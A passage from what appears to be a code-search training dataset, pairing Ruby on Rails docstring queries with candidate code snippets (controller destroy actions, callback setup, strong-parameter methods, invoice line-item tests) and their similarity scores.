"def destroy\n @product1.destroy\n respond_to do |format|\n format.html { redirect_to product1s_url, notice: \"Product1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ordered_item = OrderedItem.find(params[:id])\n @ordered_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(ordered_items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @inventory_product.destroy\n respond_to do |format|\n format.html { redirect_to inventory_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sold_product.destroy\n\n respond_to do |format|\n format.html { redirect_to sold_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @products_purposes_relation.destroy\n respond_to do |format|\n format.html { redirect_to products_purposes_relations_url, notice: t('destroy_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_order = V1::Order.find(params[:id])\n @v1_order.destroy\n\n head :no_content\n end",
"def destroy\n @logical_product = LogicalProduct.find(params[:id])\n @logical_product.destroy\n\n respond_to do |format|\n format.html { redirect_to logical_products_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to admin_products_url, notice: 'Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to products_url, notice: 'Your product was successfully deleted.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.73640126",
"0.73628706",
"0.7301586",
"0.7228808",
"0.71954626",
"0.7171018",
"0.71342015",
"0.712623",
"0.7096929",
"0.70152444",
"0.7013235",
"0.69853884",
"0.69637036",
"0.695253",
"0.6946865",
"0.6940598",
"0.6940037",
"0.69364256",
"0.69355965",
"0.6934195",
"0.69319314",
"0.69241273",
"0.69241273",
"0.69202167",
"0.69202167",
"0.69202167",
"0.69202167",
"0.69202167",
"0.69202167",
"0.69133455",
"0.6895917",
"0.6881652",
"0.6881652",
"0.6881652",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874433",
"0.6874147",
"0.6864423",
"0.6857602",
"0.68572783",
"0.6855497",
"0.6839162",
"0.6836175",
"0.6835785",
"0.683278",
"0.68220276",
"0.6812554",
"0.68088615",
"0.6805545",
"0.6787684",
"0.6787646",
"0.6785649",
"0.6781796",
"0.6778835",
"0.6778798",
"0.6777747",
"0.67754",
"0.67725337",
"0.67716974",
"0.6770317",
"0.6754559",
"0.6754559",
"0.6754559",
"0.67480004",
"0.67475677",
"0.67430675",
"0.6740904",
"0.6734096",
"0.6732352",
"0.67313063",
"0.6723677",
"0.6721347",
"0.6714912",
"0.6714471",
"0.6713453"
] |
0.72612166
|
3
|
Use callbacks to share common setup or constraints between actions.
|
def set_ordered_product
@ordered_product =OrderedProduct.find_by(product_id: params[:product_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def ordered_product_params
params.require(:ordered_product).permit(:quantity, :product_id, :cart_id, :price_per_unit)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Create two line items, then delete one and post.
|
def test_should_create_and_delete_line_items_before_post
assert_difference 'Invoice.count' do
assert_difference 'LineItem.count', 1 do
@basic_user.creates_new_invoice
@basic_user.enter_new_customer(
:name => "Test 8 Customer Name 4")
#get first row in the table.
trows = @basic_user.line_items_rows
assert_equal 1, trows.length
tr1 = trows[::WatirBrowser.item_index(1)]
assert tr1.exists?
@basic_user.populate(tr1.text_field(:name, "invoice[line_items_attributes][][description]"), "Description one")
@basic_user.link(:id, "add_line_item").click
#get second row in the table.
trows = @basic_user.line_items_rows
assert_equal 2, trows.length
tr2 = trows[::WatirBrowser.item_index(2)]
assert tr2.exists?
@basic_user.populate(tr2.text_field(:name, 'invoice[line_items_attributes][][description]'),'Description two')
#remove the first line item
@basic_user.line_items_rows[::WatirBrowser.item_index(1)].link(:name, 'remove').click
@basic_user.submits
end
end
invoice = Invoice.find(:first, :order => 'id desc')
assert_equal 1, invoice.line_items.count
assert_equal 'Description two', invoice.line_items[0].description
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_two_items\n Item.create(id: 1,\n name: \"Ergonomic Steel Bottle\",\n description: \"Sint quasi modi officiis.\",\n image_url: \"http://robohash.org/0.png?set=set2&bgset=bg1&size\",\n created_at: \"2016-03-08 14:53:57\",\n updated_at: \"2016-03-08 14:53:57\")\n\n Item.create(id: 2,\n name: \"Ergonomic Steel Hat\",\n description: \"Sint quasi modi officiis.\",\n image_url: \"http://robohash.org/0.png?set=set2&bgset=bg1&size\",\n created_at: \"2016-03-08 14:53:57\",\n updated_at: \"2016-03-08 14:53:57\")\n end",
"def add(new_line_items)\n new_line_items = Array.wrap(new_line_items).reject{ |li| li.product.supplier_id.nil? || li.product.supplier_id != self.supplier_id }\n new_line_items.each do |new_line_item|\n if line_item = self.drop_ship_line_items.find_by_line_item_id(new_line_item.id)\n else\n self.drop_ship_line_items.create({line_item_id: new_line_item.id}, without_protection: true)\n end\n end\n # TODO: remove any old line items?\n self.save ? self : nil\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
